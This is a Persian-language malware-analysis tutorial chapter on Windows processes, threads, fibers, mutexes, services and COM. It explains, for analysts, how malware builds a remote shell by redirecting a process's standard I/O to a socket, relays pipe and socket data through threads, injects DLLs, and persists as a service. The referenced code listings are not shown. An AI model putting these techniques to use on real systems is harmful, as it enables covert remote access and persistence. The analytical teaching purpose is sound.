شود کسانی که قصد دارند روی پلتفرم ویندوز کار کنند کتاب همواره پیشنهاد می

Windows Internal    نوشتهMark Russinovich  ،David A. Solomon  

 Modernترجمه میلادکهساری الهادی و همچنین کتاب    Alex Ionescu  و

Operating System    نوشتهAndrew S. Tanenbaum   دکتر ترجمه 

 ابولفضل طرقی حقیقت را مورد مطالعه قرار بدهند. 

 

 1جدید  پروسه ایجاد یک  

  CreateProcessتابع    گیردمیجدید مورد استفاده قرار    پروسهبرای ایجاد یک    ت رایج صور   تابعی که به

بسیاری دارد و در نتیجه فراخواننده این تابع، کنترل زیادی روی چگونگی ایجاد    پارامترهایاست. این تابع  

به منظور اجرای  جدید    هپروسبرای ایجاد یک  این تابع را  د  توانمیخواهد داشت. به عنوان مثال، بدافزار    پروسه

امنیتی فراخوانی کند یا بدافزار    هایمکانیزممبتنی بر میزبان و دیگر    دور زدن فایروال   وکد مخرب خودش  

 
1 Creating a New Process 



 

  محتویاتایجاد کند و سپس از آن برنامه برای دسترسی به    Internet Explorerد یک نمونه از  توانمی

 .  کندمخرب استفاده 

  پارامترهای. یکی از  کنندمیاستفاده    CreateProcessاز تابع    1راه دور   شلبرای ایجاد یک    عموماً  بدافزارها

ساختمانCreateProcessتابع   که  STARTUPINFO  داده  ،  یک  است  ورودی  هندل    شامل  به 

مقادیر  این  تواند  است. یک بدافزار می  پروسهیک    4خطای استاندارد  هایاستریمو    3، خروجی استاندارد 2استاندارد

، در  خروجی استاندارد  هنگام نوشتن اطلاعات در  برنامهکه  تنظیم کند، به طورییک سوکت  برای اشاره به  را  

ی  که بدون اجرا  شوددر نتیجه به مهاجم اجازه داده  باشد.  سوکت  در حال نوشتن اطلاعات در یک  حقیقت  

 .  ی راه دور بگیردیا دسترس راه دور شلیک  سامانههیچ برنامه دیگری از 

 
 کند. استفاده می CreateProcessیک کد که از فراخوانی : 11لیست 

 
1 Remote Shell 
2 Standard input 
3 Standard output 
4 Standard error streams 



 

تابع  دهدمینشان    11لیست   ایجاد یک  توانمی CreateProcess که چگونه  برای  ساده  شل  د  دور  راه 

همانطور    است. برقرار کرده  راه دور  با محل  تحت شبکه    ارتباط این تکه کد، برنامه یک  از  استفاده شود. قبل  

وارد     STARTUPINFOسوکت در پشته ذخیره شده و به ساختمانکنید، هندل  که در تکه کد مشاهده می

ها برای تابع از طریق  ها و خروجیفراخوانی شده و تمامی ورودی CreateProcess . سپس تابعشودمی

 .مسیردهی خواهند شدسوکت 

سوکت    هندل این ذخیره شده است )  EAX  درون ثبات SocketHandle بالا، متغیر پشته  در اولین خط کد

های استاندارد  خروجی  پروسهبرای   lpStartupInfo در خارج این تابع مقداردهی اولیه شده است(. ساختمان

ند برای  توانمیکه    کندمی( را ذخیره  3)شماره    ( و خطاهای استاندارد2های استاندارد )شماره  (، ورودی1)شماره  

 مورد استفاده قرار گیرند.  جدید  پروسه

. دسترسی به  گیرد میقرار    ( 3،  2،  1هر سه تا مقدار )شماره    ی برا  lpStartupInfoسوکت درون ساختمان  

dword_403098    که سرانجام در پشته به عنوان    شودمی( شامل خط فرمان برنامه برای اجرا  4)شماره

پارامتر دارد که   10( 6)شماره  CreateProcess. فراخوانی کننده تابع گیردمیقرار  (5یک پارامتر )شماره 

آن   جز   پارامترهاهمه  و    lpCommandLine  ،lpProcessInformation   پارامترهای  ءبه 

lpStartupInfo    برخی مقدارهای    هستند  1یا    0دارای مقدار(Null    دهند، میرا نمایش    هافلگو مابقی

   . برای تحلیلگر بدافزار مهم نیست.( ها آن کدامبا این حال هیچ

تابع   یک    CreateProcessفراخوانی  ایجاد  ورودیمیجدید    پروسهموجب  تمامی  بنابراین  و  شود  ها 

شت که مشخص  واهیم داه دور، ما نیاز خن راامیزبشناسایی  . برای  شوندمیها به یک سوکت هدایت  خروجی

مقدار  کنیم منظور کشف  کجا سوکت  به  است.  شده  اولیه  شده    کهایندهی  اجرا  نیاز  همچنین  است  برنامه 

 IDA اسمبلردیز ذخیره شده است را به کمک هدایتگر dword_403098ای که در خواهیم داشت رشته

Pro .پیدا کنیم   

  ییدجد  پروسه ،  یگربرنامه دیک    1منابع   بخشبرنامه درون    یک   یرهبدافزارها اغلب با ذخشایان ذکر است،  

بحث   PE  یلتوسط بخش منابع در فا  هایلفا  یرهذخ  یاول، ما در مورد چگونگ  قسمتخواهند کرد. در    یجادا

بدافزار    کههنگامیند و  کناجرایی را در بخش منابع ذخیره میی  هافایل  گاهی اوقات دیگر  بدافزارها  .یمکرد

 
1 Resource Section 



 

از  اجرایی  فایل،  شودمیاجرا   پایان تابع  استخراج کرده و روی دیسک می  PE  سراینداضافی را  نویسد و در 

CreateProcess  کندمیرا برای اجرای برنامه فراخوانی . 

که این کار  هنگامی.  گیردمیی اجرایی هم صورت  کدهاو دیگر    ی پیوندی پویا هاکتابخانهاین کار همچنین با  

مورد بحث قرار گرفت،    های گذشتهقسمتکه در    Resource Hackerافتد، شما باید برنامه را در  اتفاق می

 .کنید ذخیرهپنهان شده را روی دیسک به منظور تجزیه و تحلیل اجرایی فایلباز کنید و  

رویکردی مشابه با همین محوریت وجود دارد که بدافزارهای جدیدتر از  نکته:  

باینری دیگر    تا  کننداستفاده مین  آ باینری را از درون یک  به صورت پویا یک 

با لود آن در حافظه اجرایش کنند با عنوان  بخوانند و   Module. این تکنیک 

Stomping  می این  شناخته  جزییات  مورد  در  بیشتر  اطلاعات  برای  که  شود 

می وب تکنیک  به  تحلیل    www.aiooo.irسایت  توانید  مقاله  و  کنید  رجوع 

 را مطالعه کنید.   Speedyبدافزار 

 

 1هاترد

  .شوندمیاجرا    عاملسامانههستند که توسط    تردها مواردی   هستند، اما اجرایی  فایلبرای    کانتینری   هاپروسه

  تردها   دیگراجرای برای انتظار سلسله مراتبی مجزایی هستند که توسط پردازنده بدون  هایدستورالعملتردها 

هایی از کد یک برنامه را درون  شود که قسمتین ترد  د شامل یک یا چندتوانمی  پروسه  شوند. یکاجرا می

را    یفضای حافظه مشابه  پروسهدرون یک    تردهایبه این نکته توجه داشته باشید،  .  کنندمیاجرا    پروسهیک  

 ارند. ی پردازنده و پشته خود را دها ثباتگذارند، اما هر کدام به اشتراک می

 
1 Threads 



 

 1ترد   کانتکست

توانند  نمی  تردها  و دیگر  داردپردازنده کنترل کامل    هستهدر حال اجرا است، روی پردازنده یا  ترد    که یک هنگامی

مقدار یک ثبات را در یک پردازنده عوض  ترد    که یکتاثیر بگذارند. هنگامیدر این هنگام  روی حالت پردازنده  

 .  دهدرا تحت تاثیر قرار نمی تردها دیگراین موضوع کند، می

جاری در حال اجرا را در پشته    2ترد کانتکست  ابتدا ساختمان    ا سوئیچ کند،ترده  عامل میانکه سامانهقبل از این

کند.  را اجرا میسپس آن    کند و اری میجدید را درون پردازنده بارگذ  تردیک  کانتکست  سپس  کرده،  ذخیره  

 دهد. یک مثال از دسترسی به یک متغیر محلی و قرار دادن آن روی پشته را نشان می 12لیست  

در    ی( که گاه Context Switching)کانتکست    یضدر علوم رایانه تعو  نکته:

 یره ذخ  پروسه به    شود؛یبرگرداندن متن ترجمه م   یامتن    یضتعو   یفارس  یهاکتاب 

آن    یکه اجرا یبه طور   شود،یگفته م   پروسه  یک (  کانتکست)  یتوضع  یابیو باز

 .  یابد امهبتواند بعداً از همان نقطه اد پروسه

استفاده   یبه صورت اشتراک  CPU  یکتا از    دهدیاجازه م  پروسهکار به چند    ینا

همچن و  اساس  یکی  یتقابل  ینا  ینکنند  ارکان  ی  چندبرنامگ  یاز 

(Multiprogramming)  بار اضافه به سامانه  یلکار باعث تحم  یناست. انجام ا  

ا   شود یم ن  یناما  آنقدر  اضافه  مزا  یستبار  از  آن  به خاطر    ی چندبرنامگ  یایکه 

 صرفه نظر شود.  

مدت زمان مشخص دارد، در    یک به    یازن  یگرید  پروسهبه    پروسه   یک   ییجابجا

انجام ا ثبات  ینطول  ثبات   یرهذخ  یدبا  ی فعل  پروسه  یهاکار،    پروسه   یهاشده و 

   د.نبروز شو یدهم با یو جداول خاص هایستل ینطورشود و هم یجدد بارگذار 

 
1 Thread Context 
2 Thread Context 



 

 یاثبات    یک  ینهاشاره به برگردان زم  دتوانمی  ینه،برگردان زم  با این حال، عبارت

  یک   ینهبرگردان زم  یاقاب پشته و    یک   ینهبرگردان زم  یا  یفهوظ  یک  ینهبرگردان زم

 .باشدترد 

 
 یک متغیر محلی و قرار دادن آن روی پشته به دسترسی  :12لیست 

از یک متغیر    EDXبا ریختن آدرس درون براکت به درون ثبات  (  1)شماره    leaدستورالعمل  ،  12در لیست  

در   کند و سپسذخیره می  EDXرا در ثبات    آنکنید مقدار  همانطور که مشاهده میمحلی دسترسی گرفته و  

 دهد.  را درون پشته قرار می  EDX مقدار درون ثبات PUSHادامه با استفاده از دستورالعمل 

شامل    EDXثبات  قرار بدهد،    ایش ویر را مورد    EDXثبات  دیگر، چند دستورالعمل اجرا کند و  ترد    حالا اگر یک

ترد اولیه دچار اشکال خواهد شد و به موجب    کددر نتیجه  خواهد شد و    ( Wrong Value)  اشتباهیک مقدار  

 . آن اجرای ترد خراب خواهد شد

دیگر میان این  ترد    اگر یک حتی استفاده شود،   1تردکانتکست  از مکانیزم تعویض  که هنگامیولی با این حال،  

اجرای مجدد ترد اولیه    شود هنگامذخیره میپشته  در    EDX  ثبات   مقداراز آنجایکه  ورالعمل اجرا شود،  دو دست

و به اجرای صحیح خود ادامه    دکنبازیابی  ترد را  کانتکست    تواند به سادگیمی  Pushدستورالعمل  با اجرای  

 دیگر تداخل یابد.ترد  یک هایفلگها و تواند با ثبات. در این روش، هیچ تردی نمیدهد

 2ترد ایجاد یک  

. فراخواننده این تابع یک آدرس شروع  شودمیجدید استفاده  تردهای  برای ایجاد    CreateThreadاز تابع  

. اجرای تابع از آدرس شروع آغاز  شودمیخوانده    Start Functionیا  شروع  تابع  که اغلب    کندمیمشخص  

نیاز به  تابع    شایان ذکر است، اگر   . ادامه خواهد داشت ا بازگشت ندهد،  ر که تابع مقداری  شود و تا زمانیمی

 ادامه پیدا کند.   پروسهد تا زمان پایان توانمیترد   اجراینداشته باشد،  یمقدار بازگشت دادن 

 
1 Thread Context Swtiching 
2 Creating a Thread 



 

باید تابع شروع    ،کندمیرا فراخوانی    CreateThreadهنگام تجزیه و تحلیل کدی که تابع  قابل ذکر است،  

  کند میرا فراخوانی    CreateThreadرا علاوه بر کل کد تابعی که  برای ترد    Start Functionیا همان  

  .قرار بدهیدتجزیه و تحلیل را مورد 

تنها یک پارامتر    کند وشود را مشخص میشروع میترد    تابعی که در آن  CreateThreadتابع    1فراخواننده

مقداری  هر  تواند  پارامتر می،  که در آن ترد شروع خواهد شد  یبا توجه به تابع  کند.ارسال میبه شروع تابع  

ازنتوانمی  هابدافزارشایان ذکر است،  باشد.   برنامه  د  های مختلفی  با روش  CreateThread  نویسیرابط 

 های زیر: د، از قبیل روشناستفاده به عمل آور

فراخوان توانمیبدافزار   • با  برنامه  ید  کردن    CreateThread  نویسی رابط  مشخص  و 

LoadLibrary    شروع آدرس  عنوان  جد  یکبه  مخرب    پروسهیک  درون  را    یدکتابخانه 

، شودمیعبور داده    CreateThreadکه به  همچنین قابل ذکر است، پارامتری    کند.  یبارگذار 

  پروسهشود. )کتابخانه پیوندی پویا جدید درون حافظه    بارگذاریاست که باید    ایکتابخانهنام  

 .(شودمیفراخوانی  DllMainو  گرددمی بارگذاری

ها  آن  جدید ایجاد کند: یکی از ترد    دواستاندارد  و خروجی    استاندارد  د برای ورودی توانمیبدافزار   •

و دیگری    دگیردر حال شنود قرار  پروسهدارد نبرای ورودی استا PIPEیا  Socketروی یک  

. هدف  تنظیم شود  PIPEیا    Socket  یک  برای خواندن از خروجی استاندارد و ارسال آن به 

ارتباط با برنامه در حال  برقراری    PIPEیا    Socketارسال تمامی اطلاعات به یک  از  بدافزار  

 اجرا است. 

دیگر را نمایش  نزدیک یک  CreateThreadرا با شناسایی دو فراخوانی  دوم    روشنحوه تشخیص    13لیست  

.  نمایش داده شده است.(  ThreadFunction2و    ThreadFunction1های  فراخوانی)تنها    دهدمی

. در این تکه  کندمیرا دو بار فراخوانی    CreateThreadاین کد    کنید،همانطور که در لیست مشاهده می

ها  ترد کجا به دنبال کدی باشیم که این  گویندمیهستند که به ما   IpStartAddressمقادیر  پارامترهاکد 

 . شوندمیدر آنجا شروع 

 
1 Caller 



 

 
 تابع اصلی ترد مثال: 13لیست 

یه رابط  ( برای فراخوانی اول1)شماره    ThreadFunction1  عنوان   را با  ترد  شروع تابع  ، ما  13در لیست  

و2  )شماره  CreateThread  نویسیبرنامه را    (  تابع  دوم  فراخوانی  ادامه    ThreadFunction2در 

این حال، به منظور  .  (3)شماره    کردیم  گذاریبرچسب ابتدا ما باکردن  مشخص  با  با اهداف این دو ترد،    ید 

که در لیست   طورهمان. برویم ThreadFunction1به قسمت  IDA Pro اسمبلردیز استفاده از هدایتگر

از    ها اطلاعات و داده  خواندن  در یک حلقه به منظور  را  ReadFileتابع    اولد  تر  نمایش داده شده است،   14

 . کندمیبه سوکت ارسال  sendرا با استفاده از تابع  هادادهو سپس  کندمیفراخوانی  PIPEیک 

 
 ThreadFunction1مثال : 14لیست 

  یها حلقه به منضور خواندن داده  یک را در    recvترد دوم تابع    کنید،یمشاهده م  15  یست طور که در لهمان

  یک به    WriteFileها را با استفاده از تابع  ن دادهآکند و سپس  یم  ی شبکه فراخوان  بستر  یقارسال شده از طر

PIPE د.نتوسط برنامه خوانده شوتوانند ها میدر نتیجه این عملیات داده ،دهدیعبور م 



 

 
 ThreadFunction2مثال : 15لیست 

 Mark Russinovich  ،David نوشته    Windows Internalدر کتاب    نکته:

A. Solomon   و  Alex Ionescu   ترجمه و تالیف میلاد کهساری الهادی درباره

  یگر ترد به ترد د  یک  یاجرا  یضتعو  کهییازآنجایبرها آورده شده است:  و ف  تردها

برای    تواندمی  یاتعمل  ین شود، ا یم   زعامل ویندو  کرنل سامانهشدن    یرموجب درگ

همد ینههز  عاملسامانه با  متناوب  شکل  به  ترد  دو  اگر  مخصوصا  باشد،    یگربر 

و  یضتعو هز  یندوزشوند.  کاهش  منظور  دو   یکدیگربا    هاترد  یضتعو  ینهبه 

 کرده است.   یاتیو عمل ی را طراح 2مُد کاربر   یو زمانبند 1یبرها ف یزممکان

  عامل سامانه  یتیالو  یزمانبند  یزمبر مکان  ی متک  ینکها  ی بجا ،دهندیاجازه م  یبرنامه کاربرد   یکبه    فیبرها

شوند یخوانده م  3سبک وزن  یتردها  یبرهافهمچنین  .  زمانبندی کنند   ترد رایک    یجراد، خودشان اباشن  یندوزو

  مُد کاربر در    Kernel32.dll  کتابخانهون  در  چون  ،هستند  یمخف  کرنل  یآنها برا   یو در اصطلاح زمانبند

 شود.    یفراخوان  ConvertThreadToFiberتابع    یدابتدا با  یبرها،اند. به منظور استفاده از فشده  یسازیاده پ

تواند  می  ،شده است  یجادا  یکه به تازگ   یبری کند. پس از آن، فیم  یلتبد  یبر اجراییف  یکترد را به  یک  تابع    ینا

خودش    یبرهاید مجموعه فتوانیبر میکند. )هر ف  یجادادیگری    افیاض  یبرهای ف  CreateFiber  یبا فراخوان

باشد(.   دارا  به صورت دستی   SwitchToFiberتابع    یقاز طر  کهیتا زمان  یبرف  شایان ذکر است، یکرا 

نشود نم  یکبرخلاف  ،  انتخاب  اجرا  فیترد  زمان  یدجد  یبرشود.  باشدو  یکه تا  داشته  زمان  یا  ،جود   که یتا 

 
1 Fibers 
2 User-mode scheduling 
3 Lightweight 



 

SwitchToFiber مورد مستندات    یندر ا  یشتراطلاعات ب ی. براهددیمی خود ادامه  اجرابه    شود  یفراخوان

Windows SDK  یدمشاهده کن یبر را در مورد توابع ف . 

  ، موجود هستند  یندوزو  عاملیتی سامانهب  64  یهانسخه  یکه فقط رو  1مُد کاربر  شده در    یزمانبند  یتردها

، دارای یک ترد  مُد کاربر  شده در    یزمانبند  یدهند. تردهایآنها ارائه م  یببدون معارا    یبرهافی  هایژگیوتمام  

موضوع    ینا  .باشندینم  یمخف عامل    کرنل سامانه  یبرا   همچنین  هستند وعامل  سامانه  کرنل  مشابه خود در 

  ،ایسامانه  یها نیفراخوا  UMSیا به اختصار تردهای    ربر  مُد کاشده در    یزمانبند  های ترد  ،دهدیاجازه م

   ند.انجام بده به سادگی راو غیره منابع  یاشتراک گذار 

توانند  دارند، آنها می  مُد کاربر  به انجام کار در    یازن  UMS  یتردها  یا تعداد بیشتری ازدو    یکهبه هر حال، تا زمان

  یر عامل درگسامانه  کرنلزمانبند    ینکهبدون ا  ،کنند  یضتعوبا یکدیگر  را  خودشان    ییاجرا  زمینه  یندر فواصل مع

هنوز درحال اجرا است و    مشابه اجرا شده در کرنلترد    عامل ویندوز، سامانه کرنل  اندار چشمشود. از    اتجزیی

  ایسامانه  یاتعمل  ، قصد دارد یکمُد کاربر  شده در    یترد زمانبند  یک  کهی. هنگامنشده است عوض    یزیچ

خودش    مُد کرنلبه ترد    ،ای سامانهتابع    یک   یفراخوان  یلاز قب  ،دارد  کرنلبه وارد شدن به    یاز انجام دهد که ن

 . شودیم یضتعو

 2موتکس با    هاپروسه هماهنگی میان ارتباط  

نویسی همروند برای جلوگیری از استفاده همزمان منابع مشترک مانند  الگوریتمی است که در برنامهموتکس  

به    تردیا دو    پروسهرود. به عبارت دیگر، باید مطمئن شویم که دو  به کار می  تردهامتغییرهای سراسری توسط  

الگوریتمی برای انحصار متقابل  اند. خود بخش بحرانی ساختار یا  طور همزمان وارد ناحیه بحرانی خود نشده

 نیست.  

عمومی    ها آبجکتموتکساست.  ها  موتکسموضوع    هاپروسهها و  ترد  با این حال یکی از موضوعات مرتبط به

در حالت کلی برای کنترل دسترسی  ها موتکس .کنندمیماهنگی ایجاد ترد ه و  پروسههستند که بین چندین 

. به عنوان مثال، اگر  کنندمیاستفاده    ها آناز    بدافزارها و اغلب    گیرندمی  به منابع اشتراکی مورد استفاده قرار 

در هر ها  آن  فقط یکی از  کهحالی بخواهند حتما به یک ساختمان از حافظه دسترسی داشته باشند، در  ترد    دو

 
1 UMS Threads 
2 Mutexes 



 

  دسترسی ایمنبه منظور برقراری  ها  آن  د به آن ساختمان دسترسی بگیرد، برای کنترل دسترسیتوانمیلحظه  

 .استفاده کردها موتکساز    توانمی

برای تحلیل بدافزار مهم  ها  موتکسبرای خودش داشته باشد.    موتکسیک  لحظه  د در هر  توانمیترد    یک

که یک نشانه مبتنی بر میزبان    کنندمیشده استفاده    رمزگذاریسخت    هایناماغلب از  ها  آنرا که  هستند، چ

  غیرتکراری باید    موتکسمعمول هستند، چون نام یک    1شده   رمزگذاریسخت    هاینام.  روندمیخوب به شمار  

  به یکی که  ترد  .استفاده شود که از هیچ طرفی با هم دیگر ارتباط ندارند  پروسهاگر بخواهد توسط دو    ،باشد

که بعد از آن برای دسترسی  ها  ترددیگر  ،  گیردمیدسترسی    WaitForSingleObjectبا فراخوانی    موتکس

   ، باید صبر کنند.کنندمیتلاش   موتکس آن  به

یک    .کندمیتفاده  اس  ReleaseMutexع  دهد از تابمیرا پایان    موتکس استفاده از یک  ترد    یک   کههنگامی

  موتکس د کنترل یک  توانمی  پروسه نین یک  ایجاد شود. همچ  CreateMutexد با تابع  توانمی  موتکس

ایجاد خواهند   موتکسعموما یک    بدافزارهابه دست بگیرد.    OpenMutexدیگر را با فراخوانی    پروسهیک  

با نام مشابه موجود را باز کنند تا اطمینان حاصل کنند که در هر زمان فقط    موتکسیک    کنندمیکرد و تلاش  

 نمایش داده شده است.  16در لیست این روش یک نسخه از بدافزار در حال اجرا باشد. 

 
 در حال اجراست. کنیم که فقط یک نسخه از بدافزار روی سامانهاطمینان حاصل میموتکس با استفاده از یک : 16لیست 

 
1 Hard-coded names 



 

. آن در کندمیاستفاده    موتکس( برای  HGL345اری شده )ذاز یک نام سخت کدگ  16موجود در لیست    کد

وجود دارد.   ( 1)شماره    HGL345با نام  موتکس  که یک    کندمیبررسی    OpenMutexابتدا با استفاده از  

پرش    exitفراخوانی    بعد از(  3( بازگشت داده شود، اجرای برنامه به قسمت )شماره  2)شماره    Nullاگر مقدار  

)شماره  در قسمت    exitتابع  برنامه    ،نباشد  Nullولی اگر مقدار بازگشتی    ،دهدمیو اجرا برنامه را ادامه    کندمی

را ادامه دهد برای اطمینان    ی خودکد اجرا این . اگر  یافتخواهد   خاتمه پروسه اجرای و  کند می( را فراخونی 4

ایجاد    موتکس  ،( برسد5)شماره    کد به قسمت  کههنگامییافت  خواهد    خاتمههای اضافی برنامه  که نمونهایناز  

 خواهد شد.

 1ها سرویس 

به عنوان یک سرویس است.  ها  آنبدافزارها، نصب  توسط    کدهای اضافیی  روش دیگر به منظور اجرایک  

عامل  سامانه  ها روی با استفاده از سرویس  ترد  و  پروسه  داشتن  بدون  2ها تسکدهد  ویندوز اجازه میعامل  سامانه

عامل لینوکس هستند و همواره  در سامانه  3ها عامل ویندوز مشابه دیمونها در سامانهشوند. سرویساجرا  ویندوز  

  توسط مدیر ها سرویسذکر است کد  یانشوند. شااجرا می سامانه 4زمینه های کاربردی در پسبه عنوان برنامه

عامل ویندوز را باز  سامانه  Task Managerشوند. همچنین اگر  اجرا میبندی و  زمان  5ویندوز های  سرویس

زبانه   به  و  زمان  بروید، مشاهده خواهید کرد که    Servicesکنید  چندین    ویندوز  عاملسامانه  رویدر هر 

   سرویس در حال اجرا هستند.

سرویساستفاده   بدافزار  از  نویسندگان  برای  مثال،است.    یاری بس  های یتزئم  یدارا ها  عنوان    معمولاً   به 

 البته   .شوندمیاجرا    با سطح دسترسی بالاتریا یک حساب کاربری    SYSTEMبا سطح دسترسی    هاسرویس

زیرا برای نصب سرویس به سطح دسترسی مدیریت یا سطح دسترسی یک ضعف امنیتی نیست،    این موضوع

حساب کاربری  زیرا ، استفاده کنندتوانند از این مورد سوءمینویسندگان بدافزار  به هر صورت امابالا نیاز دارید 

 دارد. معمولی های کاربری تری نسبت به حسابدسترسی بیش سامانه

 
1 Services 
2 Tasks 
3 Deamons 
4 Background 
5 Windows service manager 



 

ارائه    سامانهاز یک    یا حفظ ماندگاری  گرفتن دسترسی دائم  رها همچنین یک روش دیگر به منظو سرویس

  ستنیو ممکن    عامل به صورت خودکار اجرا شوندسامانه  بارگذاریند در هنگام  توانها میزیرا آن،  دهندمی

در   یک    عاملسامانه  Task Managerحتی  عنوان  شو  پروسهبه  داده  میان    اگر  د.ننمایش  کاربر  یک 

چون بدافزار در یک    هیچ چیز مشکوکی پیدا نخواهد کرد،  ،جستجو کند  ل اجرا بر روی ماشیندر حا   هایبرنامه

 جداگانه در حال اجرا نیست.  پروسه

های در حال اجرا  یست کردن سرویسعامل ویندوز لسامانهدر خط فرمان    نکته:

های  ممکن است، اما این فرمان فقط نام سرویس  net startبا استفاده از فرمان  

 اما تحلیلگران بدافزار با استفاده از ابزارهایی مانند کند. در حال اجرا را لیست می

Autoruns  تشریحقسمت از سلسله مقالات تحلیل بدافزار  در این  تازگی  ه  که ب  

بیشترنتوانمی  ،شد اطلاعات  سرویس  ید  اجرا  درباره  حال  در  روی  های 

 . دست آورندعامل ویندوز بهمانهسا

شوند که در ادامه برخی  دستکاری  نصب و    APIند از طریق چند تابع  توانمیعامل ویندوز  در سامانهها  سرویس

 : از این توابع مهم را مورد بررسی قرار خواهیم داد

• OpenSCManager:    یک تابع  سرویس   هندلاین  کنترل  مدیر  ویندوزسامانه  1به    عامل 

. شودمیبعدی استفاده    هایسرویستوابع مربوط به    هایفراخوانیکه برای تمامی    دهدمیبازگشت  

 .تعامل خواهند داشت این تابع را فراخوانی خواهند کرد هایسرویسکه با  کدهاتمامی 

• CreateService:  مدیر کنترل سرویسا به  تابع یک سرویس جدید    یندوز و  عاملسامانه  ین 

خودکار در  به صورت  د سرویس  یمشخص کندهد که  . این تابع همچنین اجازه میکنداضافه می

 .اجرا شودتوسط یک کاربر  یا به صورت دستی 2اندازی راه نازم

 
1 Service Control Manager 
2 Boot Time 



 

• StartService:    را تابع یک سرویس  تابع فقط  . شایان ذکر است،  کندمیاندازی  راهاین  این 

 دستی تنظیم شده باشد.   اندازی راهکه سرویس به صورت   شودمیزمانی استفاده 

شوند.  های مختلفی اجرا میکند که با روشمختلف پشتیبانی می  1عامل ویندوز از چندین نوع سرویس سامانه

از   سرویسیکی  میهایی  انواع  استفاده  بدافزارها  توسط  رایجی  خیلی  صورت  به   نوع  ،شودکه 

WIN32_SHARE_PROCESS   کند و  است که کد سرویس را در یک کتابخانه پیوندی پویا ذخیره می

عامل  سامانه  Task Managerپنجره  کند. در  ترکیب می  2اشتراکی   پروسهچندین سرویس مختلف را در یک  

پیدا کنید که با نوع  ،دشونامیده می  svchost.exe که را پروسهتوانید چندین نمونه از یک شما میویندوز 

از نوع سرویس  همچنین  د. شایان ذکر است،  در حال اجرا هستن WIN32_SHARE_PROCESS سرویس

WIN32_OWN_PROCESS    یک  سرویس در  کد  دهد  اجازه میشود زیرا که  میاستفاده  توسط بدافزارها

) فایل یک   ( EXEاجرایی  قالب  در  اجرا    پروسه و  نوع  .  شودمجزا  رایجآخرین   سرویس 

KERNERL_DRIVER   در    شودمیاستفاده  عامل ویندوز  کرنل سامانهدر    هابارگذاری کداست که برای(

بعدی   هایقسمتدر  تربه صورت خیلی جامعهمچنین و  قسمت  در این  کرنلدر سطح  بدافزارهای امورد اجر 

 اهیم کرد(.  بحث خو این سلسله مقالات 

 
 NAT VMwareموجودیت های رجیستری  برای سرویس : 8تصویر 

 
1 Service types 
2 Shared Process 



 

. هر سرویس یک زیر کلید در  شودمیمحلی در رجیستری ذخیره    سامانهها روی یک  اطلاعات درباره سرویس

مثال،    HKLM\SYSTEM\CurrentControlSet\Servicesقسمت   عنوان  به  ،  8تصویر  دارد. 

 . دهدمیرا نمایش   VMware NAT Serviceی مربوط به هامامی موجودیتت

می  8  ریتصودر    ImagePathفیلد   که  نشان  سرویس  دهد  قسمت    VMware NATکد  در 

C:\Windows\system32\vmnat.exe    یلدف ذخیره شده است.    ( 1)شماره  Type    در    ( 3)شماره

مقداری    8  ریتصو با  دارای  ماست    0x10برابر  نشان  نوع    VMware NAT  یسسرو  دهدیکه  از 

WIN32_OWN_PROCESS   یلدف. در پایان  است  Start    دارای مقداری برابر با  8  ریتصو ( در  2)شماره  

0x02    یا به عبارت دیگر مقدارAUTO_START  اندازی  دهد این سرویس هنگام راهاست که نشان می

   شود.عامل اجرا میسامانه

با  .  وجود دارد  فرض به صورت پیشویندوز    عاملسامانهکه در    باشدمییک ابزار تحت خط فرمان    SCبرنامه  

ابزار   از این  . این برنامه  ویندوز را بررسی و دستکاری کنید  عاملسامانه  هایسرویسید  توانمیشما  استفاده 

.  استها شامل یک مجموعه فرامین اجرایی  با سرویستعامل  برقراری  ، توقف و  اجرا،  برای اضافه کردن، حذف

یک سرویس را با دسترسی گرفتن به اطلاعات آن در    پیکربندی  های گزینه  qcبه عنوان مثال، دستورالعمل  

که آن اطلاعات را ویرایش    دهدرا می  ناو به شما این امک  دهدمیرجیستری در یک قالب بهتری نمایش  

 . دهدمینمایش را در عمل   SCبرنامه  17کنید. لیست  

 
 دهد. را نمایش می SCدستورالعمل پرس و جو کردن اطلاعات پیکربندی برنامه : 17لیست 



 

. این اطلاعات مشابه اطلاعاتی  دهدمییک سرویس را نمایش    پیکربندیوجو شده  پرساطلاعات    17  لیست 

تر است،  قابل درکشده بود، اما این خروجی  ذخیره    VMware NAT Serviceاست که در رجیستری  

با جملات   نوع سرویس )شماره  اندشده  گذاریبرچسب  داریمعنیزیرا مقادیر عددی  قبیل  از  ما  که  (  1،  به 

 System Configیا    SCاست. برنامه    WIN32_OWN_PROCESSسرویس مذکور از نوع    گویدمی

را مشاهده    آن  میناجی لیست تمامی فربدون هیچ پارامتری اجرا کنید، در خرورا    آنفرامین بسیاری دارد که اگر  

 خواهید کرد. 

 1مدل مولفه آبجکت 

آبجکت مولفه  همان    مدل  رابط  ،  COMفناوری  یا  نرماستاندارد  یک  شرکت  محصولات  افزاری  برای 

این الگو به منظور توانمندسازی    .شمسی، توسط این شرکت معرفی گردید  1372مایکروسافت است که در سال  

بین   زبانه  بآبجکت  و ساخت    هاپروسهارتباطات  از  تعداد زیادی  برای  پویا،  مورد    نویسیبرنامه  هایصورت 

کند این امکان را فراهم میکه   باشدمیدر اصل یک رابط استاندارد  COMفناوری استفاده قرار گرفته است.  

  شایان ذکر است،   فراخوانی کنند.هم را  دیگر  دانش مشخصی نسبت به یک  افزار بدوننرمیک  اجزای مختلف  تا  

خواهید داشت که مشخص کنید  ، نیاز  کنندمیاستفاده    COM  ویژگی  یی که ازبدافزارهاهنگام تجزیه و تحلیل  

 اجرا خواهد شد. COMنتیجه فراخوانی تابع در کدی چه 

استفاده    که قابل  ی افزارنرمهای  اجزارای حمایت از  و ب   کندمیکار    نویسیبا هر زبان برنامه  COMفناوری  

  ساختاراز یک    COM.  است طراحی شده    ،به کار گرفته شوند  هابرنامهند توسط همه  توانمیو    2مجدد هستند 

اجازه میکه    کندمیاستفاده    3آبجکتی   ی بسیار خوب  یی به شکلگرائنویسی شبرنامه  زبان  هر   با دهد  به آن 

ای طراحی نشده  به گونه  COMنویسی  تعامل برقرار کند. البته باید به این نکته اشاره کرد که ویژگی برنامه

 .  کندتعامل برقرار گرا  ئنویسی شهای برنامهزبانمنحصرا با  است که فقط 

  های مهبرنا و در اکثر    استهمه کاره  ویندوز    عاملسامانهدر    COM  ویژگی  از آنجایی کهقابل ذکر است،  

یی که  بدافزارها  ،شودمی استفاده    هم  کاربردی جانبی  هایبرنامهدر    دی مایکروسافت فراگیر شده و گاهیکاربر

 
1 Component Object Model 
2 Reusable Software Components 
3 Object construct 



 

